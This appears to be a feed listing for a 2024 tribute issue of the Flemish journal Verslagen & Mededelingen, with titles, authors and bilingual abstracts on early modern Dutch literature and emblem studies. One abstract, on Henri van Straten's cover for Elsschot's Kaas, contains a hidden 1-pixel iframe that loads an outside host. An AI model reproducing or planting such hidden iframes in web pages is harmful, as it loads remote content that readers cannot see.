Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
https://verslagenenmededelingen.be/index.php/VM
<p><strong>Tijdschrift voor studie en bevordering van de Nederlandse taal- en letterkunde, gesticht in 1887.</strong></p> <p>De inhoud van elk nummer verschijnt telkens enkele maanden na de gedrukte publicatie online.</p> <p>Bestel een exemplaar van eender welk nummer via de website van de KANTL (http://kantl.be/publicaties/tijdschriften) of lees het later op deze website.</p> <div> </div>Koninklijke Academie voor Nederlandse Taal en Letteren (KANTL)nl-NLVerslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren0770-786XAuteurs die publiceren bij dit tijdschrift, onderschrijven de volgende voorwaarden:<br /> <ol type="a"><br /><li>Auteurs behouden de auteursrechten en geven het tijdschrift het recht van eerste publicatie van het werk onder een <a href="http://creativecommons.org/licenses/by/3.0/" target="_new">Creative Commons Attribution Licentie</a> die anderen het recht geeft het werk te delen onder vermelding van het auteurschap van het werk en de eerste publicatie in dit tijdschrift.</li><br /><li>Auteurs mogen separate, additionele contractuele overeenkomsten aangaan voor het niet-exclusief distribueren van de door het tijdschrift gepubliceerde versie van het werk (bv. plaatsing in een institutionele repository of publicatie in een boek), onder vermelding van de eerste publicatie in dit tijdschrift.</li><br /><li>Auteurs hebben het recht en worden aangemoedigd om hun werk online beschikbaar te stellen (bv. in institutionele repositories of op hun website) voorafgaand aan en gedurende de inzending, aangezien dat kan leiden tot productieve discussies, sneller en meer citaties van het gepubliceerde werk (Zie <a href="http://opcit.eprints.org/oacitation-biblio.html" target="_new">The Effect of Open Access</a>).</li></ol>Kromme wegen
https://verslagenenmededelingen.be/index.php/VM/article/view/279
<p>Voorwoord bij het huldenummer voor prof. dr. Marc Van Vaeck bij zijn emeritaat.</p>Johan VerberckmoesLieke van DeinsenLia van GemertGitte Vertommen
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-272024-11-271341510De dieren van De Dene
https://verslagenenmededelingen.be/index.php/VM/article/view/273
<p>Dit artikel pleit voor meer erkenning van het humanistische karakter van de tekstuele bijdragen van Eduard de Dene aan <em>De warachtighe fabulen der dieren</em> (1567).</p> <p>This article argues for more recognition of the humanist character of the textual contributions by Eduard de Dene to <em>De warachtighe fabulen der dieren</em> (1567).</p>Bart Ramakers
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813411116Een brief van Bredero
https://verslagenenmededelingen.be/index.php/VM/article/view/268
<p><strong>Abstract Nederlands </strong></p> <p>In 1610 vraagt Bredero in een opvallend behoedzaam opgestelde brief aan zijn leermeester Francesco Badens toestemming om een schilderij van Sebastiaen Vrancx te kopiëren voor zijn vader. Uit brieven van de Antwerpse kunsthandelaars Goetkint aan hun handelspartner in Spanje valt af te leiden waarom Bredero zijn brief zo heeft geformuleerd.</p> <p> </p> <p><strong>Abstract English</strong></p> <p>In 1610, Bredero asks his teacher Francesco Badens for permission to copy a painting by Sebastiaen Vrancx for his father in a remarkably cautious letter. Letters from the Antwerp art dealers Goetkint to their buyer in Spain reveal why Bredero worded his letter this way</p>Hubert MeeusMaartje De Wilde
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813411723‘Hy creyght veel avontueren, die d’lant gaet bekycken’
https://verslagenenmededelingen.be/index.php/VM/article/view/272
<p><strong>Abstract NL</strong></p> <p>De vroegzeventiende-eeuwse Mechelse rederijker Willem de Gortter wijdde enkele gedichten aan plezierreisjes die hij ondernam. Op één van die reisjes bezocht hij het voormalige landgoed van Jan Baptist Houwaert, en dat maakt van deze wandelende dichter de eerste literaire toerist in de Nederlandse literatuurgeschiedenis.</p> <p><strong> </strong></p> <p><strong>Abstract EN</strong></p> <p>In the early seventeenth century, the rhetorician Willem de Gortter composed several poems describing leisurely trips he undertook from his hometown, Mechelen. One of those trips led him to the former estate of Jan Baptist Houwaert, making him the first literary tourist in the history of Dutch literature.</p>Bram Caers
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813412530De duivel op de kast
https://verslagenenmededelingen.be/index.php/VM/article/view/254
<p>In het <em>Esbatement van vier personagien</em>, gespeeld tijdens het Mechelse Blazoenfeest (1620), liet Hendrick Fayd’herbe zijn acteurs een magische formule uitspreken. Deze bijdrage verkent enkele dimensies van zulk ritueel taalgebruik, uitgaand van de vraag of toeschouwers het denkbaar achtten dat de formule onbedoeld bovennatuurlijke effecten teweeg zou brengen.</p> <p> </p> <p>In his <em>Esbatement van vier personagien</em>, performed at a rhetoricians’ convention in Mechelen (1620), Hendrick Fayd’herbe had his actors enunciate a magical formula. This contribution explores dimensions of such ritual language, starting from the question of whether spectators might have anticipated unintended supernatural effects after the utterance of the formula.</p>Femke Kramer
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813413136Constantijn Huygens' Zeeuwse debuut
https://verslagenenmededelingen.be/index.php/VM/article/view/256
<p>Samenvatting</p> <p>Huygens’ correspondentie maakt duidelijk waarom hij met zijn beroemde gedichten <em>Batava Tempe</em> en ‘<em>tCostelijck Mal</em> in 1622 in Middelburg debuteerde. Huygens stuurde ze op zijn verzoek naar Jacob Cats ter opneming in de bloemlezing de <em>Zeeusche Nachtegael</em> (1623). Wegens te veel kopij hiervoor en Huygens’ ongeduld verschenen ze eerder apart.</p> <p> </p> <p>Abstract</p> <p>Huygens' correspondence makes it clear why he made his debut in Middelburg in 1622 with his famous poems <em>Batava Tempe</em> and <em>'tCostelijck Mal</em>. At his request, Huygens sent them to Jacob Cats for inclusion in the anthology <em>Zeeuwsche Nachtegael</em> (1623). Due to too much copy and Huygens' impatience, they previously appeared separately.</p>Ad Leerintveld
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813413743Een kapitale kleinigheid: de belastingaanslag van Adriaen van de Venne
https://verslagenenmededelingen.be/index.php/VM/article/view/266
<p>[zie ook bestand]</p> <p><strong><em>Samenvatting</em></strong></p> <p>Een belastingaanslag van Adriaen van de Venne uit 1623 werpt nieuw licht op de kunstenaar en zijn activiteiten. Van de Venne hoorde bij de financiële elite, waardoor hij als kunstenaar selectief en onafhankelijk te werk kon gaan.</p> <p> </p> <p><strong><em>Abstract</em></strong></p> <p>Adriaen van de Venne's tax assessment from 1623 sheds new light on the artist and his activities. Van de Venne belonged to the financial elite and this enabled him to be selective and independent as an artist.</p> <p> </p>Johan Koppenol
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813414550Adriaen van de Vennes Tafereel van de Belacchende Werelt als marketingtool
https://verslagenenmededelingen.be/index.php/VM/article/view/260
<p><span data-contrast="auto">In 1635 publiceerde de schilder-dichter Adriaen van de Venne (1590-1662) zijn dichtbundel </span><em><span data-contrast="auto">Tafereel van de Belacchende Werelt. </span></em><span data-contrast="auto">Naast literaire ambities kunnen hierbij commerciële overwegingen een rol hebben gespeeld. Voor een schilder met een hoge productie als Van de Venne was dit boek namelijk een geschikt middel om de verkoop van zijn schilderijen te stimuleren.</span><span data-ccp-props="{"134233117":false,"134233118":false,"134245417":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":0,"335559740":360}"> </span></p>Edwin Buijsen
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813415157Het oorkussen van de duivel
https://verslagenenmededelingen.be/index.php/VM/article/view/247
<p>In 1646 publiceerde de Antwerpse pastoor Peter Loycx een uitvoerig Latijns traktaat over werk en nietsdoen, <em>Laboris encomium, acediae vituperium</em>. Hoewel zijn arbeidsethiek erg traditioneel van inslag blijkt te zijn, slaagt hij er niettemin in nieuwe accenten in het katholieke discours over arbeid en nietsdoen te leggen. Dat komt vooral tot uiting in de uitbreiding van zijn arbeidsethiek tot een heuse taalethiek: allerlei vormen van immoreel taalgebruik vinden volgens de auteur hun wortel in zondig nietsdoen.</p> <p> </p> <p>In 1646 the Antwerp priest Peter Loycx published a vast Latin treatise on labor and sloth, <em>Laboris encomium, acediae vituperium</em>. Although his views appear to be rather traditional, the author nonetheless succeeds in introducing some new elements into the Catholic discourse on work and idleness. Most surprising is his shift from work ethic to an ethics of language and speech. In the present article I shall examine this shift in some detail.</p>Toon Van Houdt
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813415963Het sleuteltje van het ‘sackhorologie’ van Michaelina Wautier (1614-1689)
https://verslagenenmededelingen.be/index.php/VM/article/view/257
<p><em>Samenvatting</em></p> <p>Michaelina Wautier poseert op haar <em>Zelfportret</em> (ca. 1650) met de attributen van de schilder maar heeft ook een zakhorloge toegevoegd. Dit kleinood was in de 17<sup>de</sup> eeuw zeldzaam en kostbaar. In stillevens verschijnt het klokje als een <em>vanitas</em>symbool. De vraag is hoe het in de context van dit zelfportret kan worden geduid.</p> <p><em>Abstract</em></p> <p>In her self-portrait Michaelina Wautier (c.1650) shows herself to be an accomplished painter. She poses with the attributes of a painter, but has added a pocket watch. This was a precious object in the 17th century. In contemporary still lifes, the watch appears as a <em>vanitas</em> symbol. The question is how to interpret Wautier's accessory.</p>Katlijne Van der Stighelen
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813416572'Wat kan ick beter doen…?' Over de inleidende strofen van Jeremias de Deckers Goede Vrydag (1651)
https://verslagenenmededelingen.be/index.php/VM/article/view/258
<p>Jeremias de Deckers <em>Goede Vrydag ofte het lyden onses Heeren Jesu Christi</em> is vanaf de eerste uitgave in 1651 herkend als een meesterwerk. Tijdens De Deckers leven is het driemaal herdrukt, en tot in de twintigste eeuw nog zesmaal, nog afgezien van school- en studieuitgaven, waarvan die van Buitendijk (1958, 1978) de voornaamste is. In 1990 publiceerde Jan Konst zijn klassiek geworden studie over de retorische technieken waarmee in <em>Goede Vrydag</em> de emoties van de lezers worden bespeeld. Ook nu is het gedicht niet vergeten (Joosten 2015, 2020). In deze bijdrage sta ik stil bij de vijf korte strofen waarmee <em>Goede Vrydag</em> wordt ingeleid. Op bedrieglijk onnadrukkelijke wijze presenteert De Decker zich hier als een ambitieus dichter, die zijn lezers misschien wel meer wil geven dan iemand ooit gelukt is.</p>Ton van Strien
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813417378‘Men vint geneught en groot vermaeck, oock even in een kleyne saeck’
https://verslagenenmededelingen.be/index.php/VM/article/view/262
<p>Deze case study bespreekt een <em>pictura</em> uit Jacob Cats’ <em>Hof-gedachten</em> (1655), die verschijnt als schilderij aan de muur in een prent uit zijn <em>Dood-kiste voor de levendige</em> (1655). Wat op het eerste gezicht een detail lijkt, blijkt een intertekstuele verwijzing te zijn die zorgt voor een nieuwe, ironiserende betekenislaag.</p>Gitte Vertommen
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813417985Borssesnijders sonder mes
https://verslagenenmededelingen.be/index.php/VM/article/view/249
<p><span style="font-weight: 400;">De </span><em><span style="font-weight: 400;">Cluchte vanden Stouten Boer en den Geveijnsden Auditeur</span></em><span style="font-weight: 400;"> van Cornelis De Bie werd lang verloren gewaand, maar is nu teruggevonden in een convoluut dat ook een handschriftversie van </span><em><span style="font-weight: 400;">De Verloren Sone </span></em><span style="font-weight: 400;">bevat. In de klucht komen typische genre-elementen samen met aspecten die gelinkt kunnen worden aan De Bies achtergrond. </span></p>Pascal Calu
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813418791Zwaan-kleef-aan
https://verslagenenmededelingen.be/index.php/VM/article/view/270
<p>In 1712 vervaardigde de jonge graveur Jacob Folkema een portretgravure van de populaire journalist-dichter Jan van Gijzen te maken. Door middel van visuele verwijzingen ving de graveur twee ogenschijnlijk tegenstrijdige drijfveren achter Van Gijsens schrijverschap in één beeld: het streven naar symbolisch en economisch kapitaal.</p> <div id="ConnectiveDocSignExtentionInstalled" data-extension-version="1.0.4"> </div>Lieke van Deinsen
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-2813419399Toekomstdromen voor nieuwe generaties
https://verslagenenmededelingen.be/index.php/VM/article/view/269
<p>In de Gentse <em>St. Nicolaes almanach</em> (1798) kreeg tekst- en beeldmateriaal uit Swildens’ <em>Vaderlandsch A-B Boek voor de Nederlandsche Jeugd</em> (1781) een nieuwe betekenis dankzij subtiele visuele en tekstuele aanpassingen: waar Swildens streefde naar eendracht en revolutie in de Republiek der Zeven Verenigde Nederlanden, reflecteert zijn materiaal in de nieuwe context van de kinderalmanak het ideaal van een Nederland waarin noordelijke en zuidelijke provincies verenigd zijn.</p>Feike Dietz
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341101108Oog voor detail
https://verslagenenmededelingen.be/index.php/VM/article/view/248
<p>In ‘Het mierennest’ (1813) bekritiseert Hendrik Tollens op indirecte wijze de Franse keizer Napoleon Bonaparte. Hij sloot daarmee aan bij een rijke literaire traditie, waarin de mier werd ingezet om het publiek een morele spiegel voor te houden: van de Griekse fabeldichter Aesopus tot aan Jacob Cats en Jan Luyken.</p>Lotte Jensen
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341109115Doop en omdoping in Aardenburg (1817) van Petronella Moens
https://verslagenenmededelingen.be/index.php/VM/article/view/275
<p><em>Samenvatting </em></p> <p><em> </em>In de roman <em>Aardenburg </em>(1817) van Petronella Moens wordt een fictionele door Nederlandse kolonisten bevolkte plaats in Zuid-Amerika omgedoopt tot ‘Aardenburg’, de naam van het stadje in Zeeuws-Vlaanderen waar de auteur opgroeide. Die lokale context klinkt ook door in de religieuze inhoud van de roman en dan met name in het motief van de volwassenendoop. </p> <p> </p> <p><em>Abstract</em></p> <p>In the novel <em>Aardenburg</em> (1817) by Petronella Moens, a fictional place populated by Dutch colonists in South America is renamed ‘Aardenburg’, after the small town in Zeeland-Flanders where the author grew up. This local context also resonates in the religious content of the novel, particularly in the motif of adult baptism.</p>Kornee van der Haven
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341117122Maatwerk
https://verslagenenmededelingen.be/index.php/VM/article/view/263
<p>De Amsterdamse kleermaker Gerardus Johannes Joha (1827-1904) maakte halverwege de negentiende eeuw een handgeschreven bundel waarin hij gedrukte emblemen tekstueel en visueel bewerkt en veelbetekenende ‘details’ weglaat. Met deze toe-eigening plaatst hij zich op verrassende wijze in een langere traditie die eerder beschreven is door Marc van Vaeck en anderen.</p>Nelleke Moser
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341123129‘Plotseling zie ik mijn graf.’ Henri van Straten illustreert Kaas van Willem Elsschot
https://verslagenenmededelingen.be/index.php/VM/article/view/267
<p>De vierde druk van Willem Elsschots korte roman <em>Kaas</em>, uit 1944, verscheen met een nieuw bandontwerp van de Antwerpse grafische kunstenaar Henri van Straten. De lino stelt het hoofdpersonage Laarmans voor, omgeven door allerlei objecten en figuren uit de roman. Dit artikel ‘leest’ deze illustratie als een gelaagde commentaar op en interpretatie van de roman, waarbij de tegenstelling tussen realisme en symboliek, tussen de materiële werkelijkheid en de quasi-religieuze confrontatie met de dood centraal staat.</p> <p>The fourth edition of Elsschot's short novel Cheese, from 1944, was published with a new cover design by the Antwerp graphic artist Henri van Straten. The lino represents the main character Laarmans, surrounded by all kinds of objects and figures from the novel. The present article 'reads' this illustration as a layered commentary on and interpretation of the novel, that plays with the contrast between realism and symbolism, between material reality and the quasi-religious confrontation with death.</p> <div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>Pieter Verstraeten
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341131136Het Bloote Woort en ’t Embleem
https://verslagenenmededelingen.be/index.php/VM/article/view/274
<p>In 1977 publiceert Hugo Claus <em>De vluchtende Atalanta</em>. In dit bibliofiele boek herneemt Claus zeven gravures uit het alchemistische emblemenboek <em>Atalanta Fugiens </em>(1617) van Michael Maier en hij schrijft er een surrealistisch verhaal bij. Dit artikel laat zien hoe die afbeeldingen niet louter als ornamenten fungeren maar als een motor voor Claus’ speelse schrijven en als een betekenisvol onderdeel voor de interpretatie van het werk.</p> <p>In 1977, Hugo Claus publishes <em>De vluchtende Atalanta</em>. This bibliophile edition presents a surrealistic story along seven emblems selected from the alchemist emblem book <em>Atalanta Fugiens </em>(1617) by Michael Maier. This article demonstrates how the images function as a driving force behind the author’s playful writing and as a meaningful part for the interpretation of the work.</p>Linde De Potter
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341137143Enten op het werk van Marc Van Vaeck
https://verslagenenmededelingen.be/index.php/VM/article/view/265
<p>Onderzoek naar de emblematiek heeft zich altijd gekenmerkt voor aandacht voor het detail, en Marc Van Vaecks dissertatie uit 1990 over Adriaen van de Vennes <em>Tafereel van de Belacchende Werelt</em> is daarvan een voorbeeld dat zich niet laat overtreffen. Eerder dan een poging tot overtreffing of zelfs maar imitatie, is deze bijdrage daarom een poging van het detail naar de grote lijnen te kijken, om te laten zien hoe het detailwerk voortleeft en voorgezet kan worden door jongere generaties.</p>Els Stronks
Copyright (c) 2024 Verslagen & Mededelingen van de Koninklijke Academie voor Nederlandse Taal en Letteren
2024-11-282024-11-281341145152